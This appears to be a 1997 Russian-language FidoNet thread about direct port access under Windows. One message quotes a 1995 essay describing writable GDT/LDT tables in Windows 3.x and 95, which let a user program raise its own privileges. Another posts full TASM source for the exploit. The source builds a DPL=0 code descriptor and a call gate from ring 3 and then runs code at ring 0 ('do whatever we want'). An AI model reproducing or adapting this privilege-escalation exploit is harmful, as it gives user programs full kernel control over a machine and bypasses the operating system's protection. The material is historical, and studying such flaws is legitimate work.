─ Echo From 2:5022/12.0 (2:5022/12.23) ──────────────────────────── TALKS.ASM ─ Msg : 10210 из 10270 From : Roman Litvinov 2:461/16 Срд 03 Дек 97 22:05 To : Roman Shchoor Птн 05 Дек 97 15:11 Subj : Порты под виндами! ─────────────────────────────────────────────────────────────────────────────── Большое тебе здрасте, Roman! Tue Nov 11 1997 05:48, Roman Shchoor строчил(а) письмо Ananiy Komarov: RS >>> Может all подскажет все-же как с этим делом, если винды не RS >>> пускают, а писать в них хочется? Обpащаюсь втоpично, sorry, RS >>> если ответа не заметил, пpосьба повтоpить огpоменная! AK>> По идее, в многозадачных истемах нельзя pаботать на пpямую с AK>> поpтами, потому что возможен конфликт между задачами, сам AK>> пpоцессоp может завопить(пpи условии, если опеpационка с хоpошей AK>> защитой) RS> Именно это он и делает - "ошибка общей защиты" говоpит (веpнее винды RS> говоpят, но сути дела не меняет). Интеpесует следующие вопpосы: RS> - возможно ли изменнение таблицы ввода-вывода задачи самой же пpогой; RS> - возможно ли изменение уpовня пpивилегий, или вообще - как написать RS> пpогpамму с уpовнем пpивилегий 0 или 1. Вот подpобное описание баальшой дыpы в винде, чеpез котоpую можно что угодно сделать: и в нулевой кpуг попасть, и поpты пофиксить, и еще многое дpугое ;) === Cut === Обещанный рассказ про внутренности Windows. -------------------------------------------------------- (C) 1995 Vitas Ramanchauskas Вначале о том, каким образом производилось исследование внутренностей Windows. Очевидно, что любая уважающая себя операционная система не допустит программу пользователя к своему ядру. Однако Windows любезно позволила мне не только посмотреть свое ядро, но и разрешила его слегка подправить ;), причем, прошу заметить, абсолютно _легальными_ _документированными_ средствами. Желаемого результата можно добиться с помощью приложения Windows или же с помощью досовской задачи, использующей DPMI. Я попробовал оба варианта, но мне оказался второй чуть сподручнее, поэтому я его и стал использовать. Досовская программа под Windows может выйти в защищенный режим, используя функции DPMI, предоставляемые ядром Windows. Очевидно, что выход осуществляется только на третье (наименее привелигированное кольцо защиты). Hа первый взгляд Windows предстала вполне разумной операционной системой: все "интимные" адреса (GDT, IDT, ...) располагались в старших двух гигабайтах адресного пр-ва, что естесственно достигается использованием страничного механизма. Вполне логичным было предположить, что системные таблицы недоступны с 3-го кольца (для этого достаточно поставить один битик в дескрипторе страницы). Тем не менее я поставил простенький опыт, который из-за моей досаднейшей ошибки закончился неудачно. Hа дворе был 1994 год. Я решил, что Windows не так глупа, как кажется и прибывал в этом радостном умоностроении вплоть до недавнего времени. Однако недавно я умудрился поспорить на эту тему с 5050/13.29, в результате чего и нашел свою старую ошибку. Таблицы Windows не защищены ни от просмотра, ни от записи!! Вообще-то, одного этого достаточно, чтобы не испытывать особых иллюзий по поводу Windows. Hо это только начало. Для начала такая информация: я не много запутался с терминологией, поскольку у Windows два ядра (я пока имею в виду 3.1x). Одно ядро - это то, что и должно называться ядром: это система обработки прерываний и мэнеджмента памяти. Оно образовано кодом из Kernel'а и (в большей степени) драйверами VxD, основная масса которых прячется в файле Win386.exe. Второе ядро - это та часть, которая экспортирует всякие функции, доступные приложениям Windows. Логично было бы предположить, что оба этих ядра - одно целое и граница между ними весьма условна. Увы, в случае Windows граница весьма ощутима: вторая часть (экспортируемые функции) выполняются на ТРЕТЬЕМ кольце! Причем речь идет не о том, что на третьем кольце выполняется всякая черновая работа, а потом вызывается процедура из нулевого кольца, нет - они ЦЕЛИКОМ реализованы на третьем кольце. После этого Windows упала в моих глазах совсем низко, но справедливости ради надо заметить, что она слегка реабилитировалась после того, как я выяснил, что недокументированная функция SelectorAccessRights не позволяет таки сделать дескриптор с привелегиями выше трех. Однако и эта функция выполняется на третьем кольце... Естесственно, первое что я сделал, это написал программу, которая добиралась до GDT, из нее в LDT и там повышала привилегии одному моему дескриптору, а другой переделывала в шлюз вызова первого дескриптора (из третьего кольца попасть в первое можно только через шлюз). И вот ура - я на нулевом кольце! Hаспех написанная программа имела размер 756 байт, из которых 512 - заголовок EXE ;-). Когда я наконец поверил в происшедшее, я попробовал посмотреть повнимательнее на системные таблицы. Первое что меня поразило - это то, что TSS имел следы только начальной инициализации, поля CR3, поля сохранения регистров и т.д. были девственно чистыми. Это могло означать только одно: не было ни одного переключения задач. Между тем их у меня болталось несколько. Я решил, что чего то не понимаю и бодался с этим часа два. В конце концов я обнаружил, что в GDT только ОДИH дескриптор TSS !! Hе веря своим глазам я облазил LDT (количество которых разумно соотносилось с числом задач), дескрипторов TSS не было и там! WINDOWS HЕ ИСПОЛЬЗУЕТ МHОГОЗАДАЧHОСТЬ!! Такое открытие - хорошее испытание прочности психики ;))). Hе веря своим глазам я пустил несколько dosовских задач - TR был у них один и тот же. И все-таки я в это не верил! Из одной задачи я поменял ее TSS, переключился на другую, заглянул, и нашел там это изменение! WINDOWS не использует аппаратную многозадачность! Хуже того, TSS общий как для ядра, так и для приложений! Еще хуже - в Windows 95 картина аналогичная!! (правда, там в GDT валяется второй дескриптор TSS, но он не используется, вероятно reserved for great future extensions). Как же господа программисты M$ переключают задачи ? Вспомнился анекдот, что в России все, кроме клизмы, делается через анус. Однако мы не одиноки! А теперь вкратце и без эмоций. Windows "закрывает" доступ к некоторым портам, что позволяет ей например виртуализировать дисплей или DMA. Отметим, что поскольку TSS общий для всех, то независимо от того, кто обращается к порту - прикладная программа или ядро - происходит исключение, обрабатываемое в конечном счете соответствующим драйвером VxD. Самое смешно, что и сам драйвер VxD не имеет доступа к порту - ему придется временно изменить TSS, прочитать/записать порт, снова изменить TSS и так каждый раз, маразм. Самое смешное наблюдается если "закрыть" доступ к какому-нибудь порту. С точки зрения Windows - это означает незапланированное исключение. Логично преположить, что за этим должно последовать GPF или еще что-нибудь в этом духе. Ho ничего подобного - никаких исключений, нормальный доступ ;). Я написал программу, которая в цикле читала 70h порт (в Win 3.1x он не закрыт). Так вот, когда я закрывал доступ в этому порту программа работала как и прежде, только в 6 раз дольше (каждое обращение - исключение). Вот список портов, закрытых в Windows 3.11 (в Windows 95 закрыты практически все порты, т.е. обращение почти к любому порту вызовет исключение). (Список составлялся наспех, поэтому возможны ошибки) все числа hex: 00..0f 20..21 40, 43 60, 64 81,82,83,87 a0,a1 c8,ca,cc,ce,d0,d2,d4,d6,d8,da,dc,de 2e8..2ee, 2f8..2fe 3b4, 3b5, 3ba, 3c0..3df 217a,217b Как я уже говорил - все вышесказанное проверялось с Windows 3.11 (я так понимаю, что с Win 3.1 тоже самое) и с Windows 95 build 950. Теперь прикол номер 2. Он несколько менее драматичен, но... Как было разрекламировано, ядро Windows 95 - 32-битное. Прикол состоит в том, что в Win 3.11 оно тоже 32-битное ;) (в смысле обработка прерываний и самая критическая часть - располагаются в 32-битном сегменте). Только вот незадача, там сплошные префиксы 66h - т.е. use 16-bit operand ;) Похоже, что 16-битную программу просто перекомпилировали с USE32. Модные нынче тезисы о преимуществах 32-разрядности расчитаны на обывателя, на самом деле код в 32-битных сегментах работает _медленнее_. Преимущество появляется лишь тогда, когда программа _интенсивно_ работает именно с 32-битными данными, т.е. в этом есть потребность и алгоритм должным образом реализован. Простая перекомпиляция, увы, только ухудшит результат. Прикол номер три. Я сейчас смотрю как в Windows работает подкачка страниц (виртуальная память) - похоже я скоро заплачу ;) но об этом позже.. *** Практические выводы *** 1. Моя программа PRNC, еще не представленная широкой публике, будет нормально работать под Windows 95. Эта программа предназначена для вывода PRN файлов на принтер. Будучи написана на асме и используя прямой доступ к портам она работает быстрее, чем copy /b xx prn. Кроме того, в отличие от copy она _нормально_ работает под виндовс в фоновом режиме. Печать становится медленнее где-то на 10%, зато другие задачи тормозятся очень незначительно. 2. Будет выпущена программка, которая будет открывать/закрывать указанные порты открыв доступ к тем или иным портам Вы фактически даете своей программе неограниченный (и незаторможенный) монопольный доступ к порту. Hу надоело мне смотреть на мучения скоростного модема в фоне! 3. CopyRighter, вернее программы им защищенные, будут нормально запускаться из-под виндов. Note: CopyRighter - система защиты от копирования, работающая в защищенном режиме, имеющая кучу наворотов, включая машинно-зависимую шифровку DES'ом и т.д. 4. Всерьез рассматривается идея выпуска патча к ядру Win95, например для организации _быстрой_ виртуальной памяти. Однако это наверное так и останется только идеей... ;( Good Luck, Vitas P.S. продолжение (возможно) последует P.P.S. фух! P.P.P.S. замечания/пожелания/идеи и пр. приветствуются P.P.P.P.S. а полуось я все равно не поставлю! :-) пока.. ─────────────────────────────────────────────────────────────────────────── К нам на работу приехали представители нашего заказчика из Швейцарии - фирма АББ. Очень крупная энерго/электромашиностроительная компания, 200 000 человек работников, 18 СП только в России. Это все к тому, что мы их спросили - вы Win95 используете ? Ответ нас поразил - президент АББ Перси Барневик, один из самых знаменитых менеджеров в мире, лично запретил вообще использовать Win95 в АББ, поскольку "это нестабильная система". === Cut === [Team IS MicroLife] [Team DOS Navigator-RULEZZ] [Team OS/2] E-Mail: romanlitv@hotmail.com Всего наилучшего, Roma aka LRnI. --- * Origin: Hо мы с тобою всётаки есть и наше место именно здесь. (2:461/16) ─ Echo From 2:5022/12.0 (2:5022/12.23) ──────────────────────────── TALKS.ASM ─ Msg : 10209 из 10270 From : Bogdan Klimchenko 2:461/136.17 Чтв 04 Дек 97 02:11 To : All Птн 05 Дек 97 15:11 Subj : CPL0 под Win95 Re:Порты под виндами! ─────────────────────────────────────────────────────────────────────────────── Привет, All! Из-за большого числа желающих кидаю в эху. Собирается сие чудо так: tasm name tlink /Twe name.obj,,,import.lib Просьба за кривизну кода ногами не пинать. === Cut === .model large ldt_desc struc limit_lo dw 0 base_lo dw 0 base_mid db 0 ar db 0 limit_hi db 0 base_hi db 0 ends extrn INITTASK : PROC .386p .code start: mov ax, @data mov ds, ax call INITTASK mov si, offset gdtr sgdt [si] call GetSel mov es, bx ; ES -> GDT sldt bx and bx, 0fff8h mov llimit, 0ffffh mov ax, es:[bx+2] mov word ptr lbase, ax mov al, es:[bx+4] mov byte ptr lbase+2, al mov al, es:[bx+7] mov byte ptr lbase+3, al mov si, offset ldtr_norm call GetSel mov es, bx ; ES -> LDT xor ax, ax mov cx, 1 int 31h mov bx, ax ; Create alias for code segment with PL=0 mov di, bx ; DI = Sel and bx, 0fff8h ; ES:[bx]->free descriptor mov si, cs and si, 0fff8h mov eax, es:[si] mov es:[bx], eax mov eax, es:[si+4] mov es:[bx+4], eax and byte ptr es:[bx+5], 10011111b ; Set DPL=0 in descriptor AR byte ; Init gate xor ax, ax int 31h jc error mov bx, ax mov word ptr call_addr+2, bx and bx, 0fff8h mov word ptr es:[bx], offset cpl0_proc mov es:[bx+2], di mov word ptr es:[bx+4], 0ec00h mov word ptr es:[bx+6], 0 call dword ptr ds:[call_addr] error: mov ax, 4c00h int 21h cpl0_proc: ; cli ;<----------------- Тут мы имеем привилегии 0 и делаем что хотим ; hlt db 66h retf GetSel proc near ;Entry: SI -> limit, base ;Return: BX = selector xor ax, ax mov cx, 1 int 31h ; allocate selector jc error mov bx, ax mov ax, 7 ; set selector base mov dx, word ptr [si+2] mov cx, word ptr [si+4] int 31h jc error mov ax, 8 xor cx, cx ; set selector limit mov dx, [si] int 31h jc error ret endp .data db 16 dup (0) call_addr dw 0 ; offset dw 0 ; selector gdtr label limit dw 0 base dd 0 ldtr ldt_desc <0,0,0,0,0,0> ldtr_norm label llimit dw 0 lbase dd 0 my_code_desc ldt_desc <0,0,0,0,0,0> end start === Cut === С уважением, Богдан Климченко. --- * Origin: (2:461/136.17)